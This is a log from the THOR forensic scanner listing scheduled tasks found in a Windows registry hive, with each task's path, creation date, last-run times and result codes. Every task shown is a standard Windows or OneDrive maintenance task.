Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {C7261ACA-12F4-4801-B01F-BD4376FFB32E} PATH: \Microsoft\Windows\DeviceDirectoryClient\RegisterUserDevice VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:15:39 2024 LAST_STOPPED: Tue Sep  3 09:15:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {C877A253-EC41-43AA-A2D5-618D344EC6A8} PATH: \OneDrive Reporting Task-S-1-5-21-2213792943-3978625667-3641601853-1124 VERSION: 3 CREATED: Thu Jul 25 10:36:45 2024 LAST_RUN: Tue Sep  3 12:44:14 2024 LAST_STOPPED: Tue Sep  3 12:45:28 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CA0F562A-AC68-4C7F-B02D-65BF21B8B934} PATH: \Microsoft\Windows\Input\InputSettingsRestoreDataAvailable VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CBFEDF74-1A17-48F0-B37A-7ADAED0914CF} PATH: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 02:33:10 2024 LAST_STOPPED: Tue Sep  3 02:33:13 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CC754107-B52C-48E5-8B29-01AD49F1647E} PATH: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 Critical VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Aug 13 20:42:47 2024 LAST_STOPPED: Tue Aug 13 20:42:58 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CCD6CDEA-7C64-4BFB-9EB2-5AF26DA04B37} PATH: \Microsoft\Windows\Management\Provisioning\Cellular VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CD2B4AA3-2DA2-48D6-B46F-2C01D51C17F6} PATH: \Microsoft\Windows\RecoveryEnvironment\VerifyWinRE VERSION: 3 CREATED: Fri May 24 02:25:42 2024 LAST_RUN: Fri Aug 30 02:32:59 2024 LAST_STOPPED: Fri Aug 30 02:32:59 2024 STATUS: 00000000 LAST_RESULT: 90040780
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CDAF9C56-11EF-4B4C-A1B1-BF1701698DF8} PATH: \Microsoft\Windows\CertificateServicesClient\UserTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 17:00:39 2024 LAST_STOPPED: Tue Sep  3 17:00:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CE486984-DC95-4C4A-9B22-3B4057686F0D} PATH: \Microsoft\Windows\Shell\FamilySafetyMonitor VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CF83D93E-BA20-4111-9576-C96A14835C99} PATH: \Microsoft\Windows\FileHistory\File History (maintenance mode) VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Mon Sep  2 02:33:04 2024 LAST_STOPPED: Mon Sep  2 02:33:04 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {CF899791-75F9-46B7-8B17-81F1417ECBD8} PATH: \Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance VERSION: 3 CREATED: Wed Aug  7 23:45:04 2024 LAST_RUN: Tue Sep  3 00:33:02 2024 LAST_STOPPED: Tue Sep  3 00:36:02 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D05966FD-4423-4D67-926B-6A5F7BDA238F} PATH: \Microsoft\Windows\WwanSvc\OobeDiscovery VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 09:00:18 2024 LAST_STOPPED: Tue Sep  3 09:00:22 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D1871301-47D9-4F14-AC6B-B201181F1D14} PATH: \Microsoft\Windows\Clip\License Validation VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D19A2229-9E50-4B0E-9D92-049BB934BBA6} PATH: \Microsoft\Windows\Time Synchronization\ForceSynchronizeTime VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 09:00:18 2024 LAST_STOPPED: Tue Sep  3 09:00:21 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D1B42785-344A-4572-BD31-095E300AB644} PATH: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTaskLogon VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:00:38 2024 LAST_STOPPED: Tue Sep  3 09:00:43 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D4B24E40-29B2-4C11-B099-A5C0CCD8556B} PATH: \Microsoft\Windows\Location\WindowsActionDialog VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D55F099B-3763-4B18-9F78-B04FE5AFAA23} PATH: \microsoft\windows\applicationdata\appuriverifierdaily VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 02:33:05 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D61BD1DD-BF28-45A8-9C95-85204916F70E} PATH: \Microsoft\Windows\DirectX\DXGIAdapterCache VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:01:09 2024 LAST_STOPPED: Tue Sep  3 09:01:09 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D664962D-5B5A-4F4D-8877-F3C4227A281F} PATH: \Microsoft\Windows\EDP\EDP Inaccessible Credentials Task VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {D9983D3D-AF4E-45C5-A192-F18785A04E3A} PATH: \Microsoft\Windows\DiskCleanup\SilentCleanup VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 12:54:02 2024 LAST_STOPPED: Tue Sep  3 02:33:23 2024 STATUS: 00000000 LAST_RESULT: e0100780
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {DAE74A25-6CD4-44D9-A4C2-1F0328A404A4} PATH: \Microsoft\Windows\AppListBackup\BackupNonMaintenance VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 09:03:18 2024 LAST_STOPPED: Tue Sep  3 09:03:18 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {DBB5553B-D384-4A29-9666-B7BD3BD1453F} PATH: \Microsoft\Windows\Input\TouchpadSyncDataAvailable VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {DBD4DF58-41C5-41B6-87F2-0570DC25513F} PATH: \microsoft\windows\capabilityaccessmanager\maintenancetasks VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {DDD99011-81AC-438E-8AFF-EDFB93F9D8C7} PATH: \Microsoft\Windows\SpacePort\SpaceAgentTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {DF7D8DDE-A94F-44E4-B7C9-0DDE1030C070} PATH: \Microsoft\Windows\MemoryDiagnostic\ProcessMemoryDiagnosticEvents VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Mon Sep  2 18:19:09 2024 LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: e0100780
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {E0F10DCF-44AD-40E8-9370-FB5DA59F93FB} PATH: \Microsoft\Windows\UpdateOrchestrator\USO_UxBroker VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 09:23:53 2024 LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 02000780
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {E144A629-B5F6-4AD0-AC37-BDBF20129A1C} PATH: \Microsoft\Windows\Shell\UpdateUserPictureTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {E3176A65-4E44-4ED3-AA73-3283660ACB9C} PATH: \Microsoft\Windows\Windows Error Reporting\QueueReporting VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 16:36:05 2024 LAST_STOPPED: Tue Sep  3 16:36:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {E4BFD560-AA57-4425-92CE-CB1F606E81F1} PATH: \Microsoft\Windows\EDP\StorageCardEncryption Task VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {E6AB4FB2-67BA-4583-B2B7-C52325DF9ABF} PATH: \Microsoft\Windows\AppID\EDP Policy Manager VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {E6DB4742-7C9B-4069-8E83-980291D94AB9} PATH: \Microsoft\Windows\Offline Files\Logon Synchronization VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {E8EC9161-94CA-4B9E-9CC9-AA0C6D101FFF} PATH: \Microsoft\Windows\WwanSvc\NotificationTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {ED7855F7-43B3-4128-A7BE-BF01801AD0B1} PATH: \Microsoft\Windows\Feedback\Siuf\DmClientOnScenarioDownload VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 09:15:23 2024 LAST_STOPPED: Tue Sep  3 09:15:23 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {EE2A7214-396B-4365-9626-042EC2D5A211} PATH: \Microsoft\Windows\Device Information\Device User VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:29:20 2024 LAST_STOPPED: Tue Sep  3 09:29:20 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {EE2C3398-955B-414F-8DC1-154571A7B13D} PATH: \Microsoft\Windows\Defrag\ScheduledDefrag VERSION: 3 CREATED: Tue Jul 16 12:22:23 2024 LAST_RUN: Tue Sep  3 12:30:39 2024 LAST_STOPPED: Tue Sep  3 12:30:44 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F02E346A-E8AC-481E-A38D-B53EBF8F1180} PATH: \Microsoft\Windows\Offline Files\Background Synchronization VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F46B8295-48EB-455F-A657-6436627864CD} PATH: \Microsoft\Windows\Shell\IndexerAutomaticMaintenance VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F69AD12E-7438-449F-A6BB-119EA1739525} PATH: \Microsoft\Windows\Application Experience\MareBackup VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F74B1ED7-6FDB-44C1-9D0D-A9DD87CCB063} PATH: \OneDrive Standalone Update Task-S-1-5-21-2213792943-3978625667-3641601853-1124 VERSION: 3 CREATED: Tue Aug 27 11:44:13 2024 LAST_RUN: Tue Sep  3 13:29:15 2024 LAST_STOPPED: Tue Sep  3 13:29:26 2024 STATUS: 00000000 LAST_RESULT: 04ee0480
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F7778C5A-D073-4A3B-816B-B4A0C5D6245B} PATH: \Microsoft\Windows\Sysmain\WsSwapAssessmentTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Mon Sep  2 02:34:21 2024 LAST_STOPPED: Mon Sep  2 02:34:23 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F7D94533-B9C2-4869-8866-0D3436873233} PATH: \Microsoft\Windows\Shell\CreateObjectTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Thu Aug 29 12:23:03 2024 LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F8701795-0889-4E6F-9C01-DA5EB82A9139} PATH: \Microsoft\Windows\Speech\SpeechModelDownloadTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Mon Sep  2 23:21:47 2024 LAST_STOPPED: Mon Sep  2 23:21:47 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F87BAE91-2470-40AB-9F94-A437578A5E4D} PATH: \Microsoft\Windows\Application Experience\SdbinstMergeDbTask VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 09:00:18 2024 LAST_STOPPED: Tue Sep  3 09:00:22 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {F97DD845-7FED-47F5-969D-4676ED770554} PATH: \Microsoft\Windows\Maintenance\WinSAT VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: Tue Sep  3 02:33:02 2024 LAST_STOPPED: Tue Sep  3 02:33:02 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {FB13A2AD-0A22-4284-9F4A-2FB0C5D2C078} PATH: \Microsoft\Windows\InstallService\WakeUpAndContinueUpdates VERSION: 3 CREATED: Tue Jun  4 02:25:42 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {FB49BEA1-5957-4647-BCFE-2B83CDA4D9F1} PATH: \Microsoft\Windows\ApplicationData\CleanupTemporaryState VERSION: 3 CREATED: Wed May 29 02:25:42 2024 LAST_RUN: Wed Aug 28 02:32:57 2024 LAST_STOPPED: Wed Aug 28 02:33:08 2024 STATUS: 00000000 LAST_RESULT: 00000000
